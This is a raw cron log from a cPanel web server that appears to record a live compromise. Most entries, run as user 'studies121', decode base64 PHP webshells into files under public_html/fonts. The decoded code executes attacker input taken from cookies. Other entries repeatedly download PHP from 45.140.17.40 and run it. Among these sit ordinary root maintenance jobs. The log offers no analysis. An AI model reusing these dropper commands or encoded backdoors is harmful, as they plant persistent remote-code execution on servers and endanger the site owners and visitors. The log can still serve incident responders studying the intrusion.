Sep 21 01:14:01 ip-184-168-122-23 CROND[5526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:14:01 ip-184-168-122-23 CROND[5527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:15:01 ip-184-168-122-23 CROND[5632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:15:01 ip-184-168-122-23 CROND[5635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:15:01 ip-184-168-122-23 CROND[5636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:15:01 ip-184-168-122-23 CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:15:01 ip-184-168-122-23 CROND[5640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:15:01 ip-184-168-122-23 CROND[5642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:16:01 ip-184-168-122-23 CROND[5732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:16:01 ip-184-168-122-23 CROND[5735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:16:01 ip-184-168-122-23 CROND[5734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:16:01 ip-184-168-122-23 CROND[5738]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 01:16:01 ip-184-168-122-23 CROND[5737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:16:01 ip-184-168-122-23 CROND[5736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:17:01 ip-184-168-122-23 CROND[5828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:17:01 ip-184-168-122-23 CROND[5831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:17:01 ip-184-168-122-23 CROND[5830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:17:01 ip-184-168-122-23 CROND[5832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:18:01 ip-184-168-122-23 CROND[5983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:18:01 ip-184-168-122-23 CROND[5984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:18:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:18:01 ip-184-168-122-23 CROND[5986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:18:01 ip-184-168-122-23 CROND[5987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:19:02 ip-184-168-122-23 CROND[6080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:19:02 ip-184-168-122-23 CROND[6081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:19:02 ip-184-168-122-23 CROND[6082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:19:02 ip-184-168-122-23 CROND[6087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:20:01 ip-184-168-122-23 CROND[6182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6180]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:20:01 ip-184-168-122-23 CROND[6177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:20:01 ip-184-168-122-23 CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:21:01 ip-184-168-122-23 CROND[6284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:21:01 ip-184-168-122-23 CROND[6285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:21:01 ip-184-168-122-23 CROND[6286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:21:01 ip-184-168-122-23 CROND[6287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:22:01 ip-184-168-122-23 CROND[6375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:22:01 ip-184-168-122-23 CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:22:01 ip-184-168-122-23 CROND[6381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:22:01 ip-184-168-122-23 CROND[6383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:22:01 ip-184-168-122-23 CROND[6382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:23:01 ip-184-168-122-23 CROND[6487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:23:01 ip-184-168-122-23 CROND[6491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:23:01 ip-184-168-122-23 CROND[6489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:23:01 ip-184-168-122-23 CROND[6490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:24:01 ip-184-168-122-23 CROND[6581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:24:01 ip-184-168-122-23 CROND[6584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:24:01 ip-184-168-122-23 CROND[6585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:24:01 ip-184-168-122-23 CROND[6583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:24:01 ip-184-168-122-23 CROND[6586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:25:01 ip-184-168-122-23 CROND[6669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:25:01 ip-184-168-122-23 CROND[6668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:25:01 ip-184-168-122-23 CROND[6670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:25:01 ip-184-168-122-23 CROND[6671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:25:01 ip-184-168-122-23 CROND[6672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:25:01 ip-184-168-122-23 CROND[6673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:26:01 ip-184-168-122-23 CROND[6764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:26:01 ip-184-168-122-23 CROND[6765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:26:01 ip-184-168-122-23 CROND[6767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
